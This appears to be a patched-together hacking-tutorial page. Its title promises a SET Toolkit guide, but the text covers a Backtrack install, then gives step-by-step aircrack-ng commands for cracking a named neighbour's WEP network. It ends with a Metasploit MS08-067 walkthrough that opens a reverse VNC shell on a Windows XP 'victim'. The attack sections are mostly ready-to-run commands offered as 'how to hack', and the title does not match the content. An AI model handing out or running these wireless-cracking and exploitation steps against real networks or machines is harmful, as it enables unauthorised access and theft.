Hack Windows Using SET Toolkit in Backtrack

The Social-Engineer Toolkit (SET) was created and written by the founder of TrustedSec. It is an open-source Python-driven tool aimed at penetration testing around Social-Engineering. SET has been presented at large-scale conferences including Blackhat, DerbyCon, Defcon, and ShmooCon. With over two million downloads, SET is the standard for social-engineering penetration tests.

Download Full Tutorial Here

Things To Know About Backtrack Distribution

There are several organizations that have worked tirelessly to create various security based Linux Distribution . Among the most well known Penetration Testing distribution is known as " BACKTRACK ". Backtrack is not new now .

For  a hacker a Backtrack Linux is like a dream come true . Whole distribution comes preloaded with hundreds of security tools that are already installed .

The Best thing about the Backtrack is : Its FREE!

Download Link : http://www.backtrack-linux.org/downloads/

Point to be Remember 1 : When you  run your Backtrack DVD , shortly after system will presented the menu list . you need to be carefully review this list , its contains several different options .

• If you have some trouble getting Backtrack to boot , then choose  Backtrack Debug - Safe Mode 
• If you want to run the system memory test then select Backtrack Memtest - Run memtest
• If you just wanna start Backtrack Live then Choose Backtrack Text - Default Boot Text Mode

Point To Be Remember  2 : Once system is loaded you will be presented with a log-in prompt. 

                                               You have to enter the username as a root and Password as a toor

Point to Remember 3 : Once you logged into the system it shows root@bt : ~#(shown below )

Here you have to enter startx command . Once enter key is pressed system will begin to load . Once it completely loaded , you will see the desktop .

Point to Remember 4 : Commands used on Backtrack Linux .

• konsole : This command is used to start the terminal .

• ifconfig  : This command is used to view system ip address.

• ifconfig -a : This will shows the interface available like " eth0 " and " lo " .Here eth0 is your " ethernet card" and " lo " is  a loop-back adapter .

• ifconfig eth0 up : This command is used to turn on the network card.

           Example : ifconfig eth0 up 192.168.127.131

• poweroff or init 0  : This command is used to shutdown the Backtrack .

• reboot : This command is used to reboot Backtrack .

These are some points which should remember while using Backtrack Linux OR any other Linux .

How To Install Backtrack In Your System

Backtrack is Linux Based Penetration Testing Operating system which provides many inbuilt tools which are used for vulnerability assessment, exploitation and penetration testing. 

Frist Of all Boot your Backtrack From CD/DVD. Then select option for Default Text Mode. Now Let It load First. After that follow following tutorial:

Lets start with first snapshot i.e Installing of Backtrack .

Step  1 :Click On Backtrack Icon.

Step 2 : Click On Forward Button

Step 3:Select your Time Zone and press Forward button.

Step 4: Keyboard Layout: Select your layout and press Forward Button.

Step 5 : Now here you have 2 options 

• Erase and use the entire disk : If you use this option it will delete your entire disk and installed  Backtrack on your harddisk  .
• Specify partitions manually (advanced) : If you opt this option then you have to create partition on harddisk . 

Lets start from 1st Process :Erase and use the entire disk

 

Step 6 : Click on Install Button : In this process  no need to creating any partition on harddisk system will automatically created partition .

Second Option : Specify partitions manually (advanced)

 

Prepare Partitions : Select /dev/sda and click new partition . When new partition created it will look like below image -

Now new partition created now create a Linux Partitions i.e 

/  Partition (also called root ) : It is a partition where all Linux files are stored .

/boot  Partition : All the Linux Booting files are stored on Boot .

swap  Partition : It is a Virtual Memory .

Note :  Always remember that two main files are responsible for booting -

1. GRUB(Grand Unified Boot Loader)
2. LILO (Linux Loader)

First : create root partition and put Mount Point as / (root) and press OK

Your root created now .

 Applying same step to create /boot partition -

Select partition as : Logical

Partition Size :1000

Mount Point : /boot

Press OK

After creating /boot partition it will look like this image .

Now create a Swap Partition

The only change we have to do is in Size  and Mount Point 

Size : Give double the size of RAM 

Example : if i have 512 Ram then assigned 1024 mb of size.

Use as : Swap Area

Swap area is created . Now press Forward button

Press Install and start installation.

Installation process running in middle of the process shows this windows shown below -

Installation Process : In the middle  of installation you see this type of process going on .

Installtion Completed 

Restarted Now

Your Installation Completed

Now start Exploiting

How to Crack WEP Key With Backtrack 5 [wifi hacking]

Security Issues With WEP

WEP (Wired Equivalent Privacy) was proved full of flaws back in 2001, WEP protocol itself has some weakness which allows the attackers to crack them in no time. The biggest flaw probably in a WEP key is that it supports only 40bit encryption which means that there are 16million possibilities only.

Requirements :-
Here is what you would require to crack a WEP key:

1. Backtrack or any other Linux distro with aircrack-ng installed 

2. A Wifi adapter capable of injecting packets , For this tutorial I will use Alfa AWUS036H which is a very popular card and it performs well with Backtrack


Procedure :-
First Login to your Backtrack / Linux distro and plug in your Wifi adpter , Open a new konsole and type in the following commands 

ifconfig wlan0 up

where wlan0 is the name of the wireless card ,it can be different .To see all wireless cards connected to your system simply type in " iwconfig ".


Putting your WiFi Adapter on Monitor Mode

To begin, you’ll need to first put your wireless adapter into monitor mode , Monitor mode is the mode whereby your card can listen to every packet in the air , You can put your card into monitor mode by typing in the following commands 

airmon-ng start (your interface)

Example :- airmon-ng start wlan0

Now a new interface mon0 will be created , You can see the new interface is in monitor mode by entering "iwconfig mon0" as shown

Finding a suitable Target

After putting your card into monitor mode ,we need to find a network that is protected by WEP. You can discover the surrounding networks by entering the following command

airodump-ng mon0

Bssid shows the mac address of the AP, CH shows the channel in which AP is broadcasted and Essid shows the name broadcasted by the AP, Cipher shows the encryption type.

Now look out for a wep protected network In my case i’ll take “linksys “ as my target for rest of the tutorial

Attacking The Target

Now to crack the WEP key you'll have to capture the targets data into a file, To do this we use airodump tool again, but with some additional switches to target a specific AP and channel. Most importantly, you should restrict monitoring to a single channel to speed up data collection, otherwise the wireless card has to alternate between all channels .You can restrict the capture by giving in the following commands

airodump-ng mon0 --bssid -c (channel ) -w (file name to save )

As my target is broadcasted in channel 6 and has a bssid "98:fc:11:c9:14:22" ,I give in the following commands and save the captured data as "RHAWEP"

airodump-ng mon0 --bssid 98:fc:11:c9:14:22 -c 6 -w RHAWEP

Using Aireplay to Speed up the cracking

Now you’ll have to capture at least 20,000 data packets to crack WEP .This can be done in two ways, The first one would be a (passive attack ) wait for a client to connect to the AP and then start capturing the data packets but this method is very slow, it can take days or even weeks to capture that many data packets

The second method would be an (active attack )this method is fast and only takes minutes to generate and inject that many packets .

In an active attack you'll have do a Fake authentication (connect) with the AP ,then you'll have to generate and inject packets. This can be done very easily by entering the following commands 

aireplay-ng - 1 3 -a (bssid of the target ) (interface) 

In my case i enter the following commands 

aireplay-ng -1 3 -a 98:fc:11:c9:14:22 mon0 


After doing a fake authentication ,now its time to generate and inject Arp packets . To this you'll have to open a new Konsole simultaneously and type in the following commands

aireplay-ng 3 -b (bssid of target) -h ( Mac address of mon0) (interface)

In my case i enter
aireplay-ng 3 -b 98:fc:11:c9:14:22 -h 00:c0:ca:50:f8:32 mon0

If this step was successful you'll see Lot of data packets in the airodump capture as shown

Wait till it reaches 20000 packets , best would be to wait till it reaches around 80,000 to 90,000 packets .Its simple more the packets less the time to crack .Once you’ve captured enough number of packets, close all the process's by clicking the into mark which is there on the terminal

Cracking WEP key using Aircrack

Now its time crack the WEP key from the captured data, Enter the following commands in a new konsole to crack the WEP key

aircrack-ng (name of the file )

In my case i enter 
aircrack-ng RHAWEP-0.1-cap

With in a few minutes Aircrak will crack the WEP key as shown

Once the crack is successful you will be left with the KEY! Remove the colons from the output and you’ll have your WEP Key.

How to Hack Windows XP With Metasploit [Tutorial]

In this article I will be showing you how to use Ms08_067_Netapi exploit in an Unpatched windows xp to gain access to the machine. The original name of the exploit is "Microsoft Server Service Relative Path Stack Corruption", This exploits helps bypassing NX on various operating systems and service packs.

Requirements

1. Backtrack 5 

2. Windows XP SP2 Operating System

We will perform this attack on an unpatched windows xp operating system, I strongly recommend you to try it in a safe environment, Utilizing these methods in a public environment is definitely a crime.

Windows XP SP2 Setup

Before we attack the Windows XP OS, We would want to make sure that it's vulnerable, So before attacking kindly change the following things:

1. Disable Firewall Completly. 

2. Disable Antivrus If Any.

3. Turn off "Automatic Updates"

Attacking A Windows XP Host With Metasploit

So here is how we will hack into the windows XP machine by using metasploit framework, If you are unfamiliar with Metasploit basics, Consider reading our post - What is Metasploit? [Explained for Beginners].

Step 1 - First of all turn on your Backtrack 5 virtual machine .

Step 2 - Next on your console type "msfconsole", This will load the metasploit framework.

Step 3 - Next type the command "Show exploits", This will load up all the current exploits in the metasploit.

Step 4 - Next issue the "Search netapi" command in the console, This command will search for all the exploit modules with the pattern "netapi"

Step 4 - Next type "use windows/smb/ms08_067_netapi" in the console.

Step 5 - Now after the exploit has been setup, you would need to enter the RHOST, RHOST refers to the iP address of the victim. You can get the windows host iP by issuing the "ipconfig" command in the command prompt.

Step 6 - Once the exploit is setup, it's time to setup a payload, In this case we will use aWindows/shell/vncinject payloads, Issue a payload by isuing set payloadwindows/vncinject/reverse_tcp command in the shell, Next you need to set the proper lhost by issuing the command "lhost <IP address>".

Step 7 - Next issue the command "show options" to check to see if every thing is setup fine.

Step 8 - Once you are done with the assessment, just type "exploit" in the console, If you followed up the steps correctly you will have a vnc shell opened on the Victims Computer.

If you have any questions, Feel free to ask.

CounterMeasures

1. Make sure your firewall is turned on.

2. Make sure you have installed the latest updates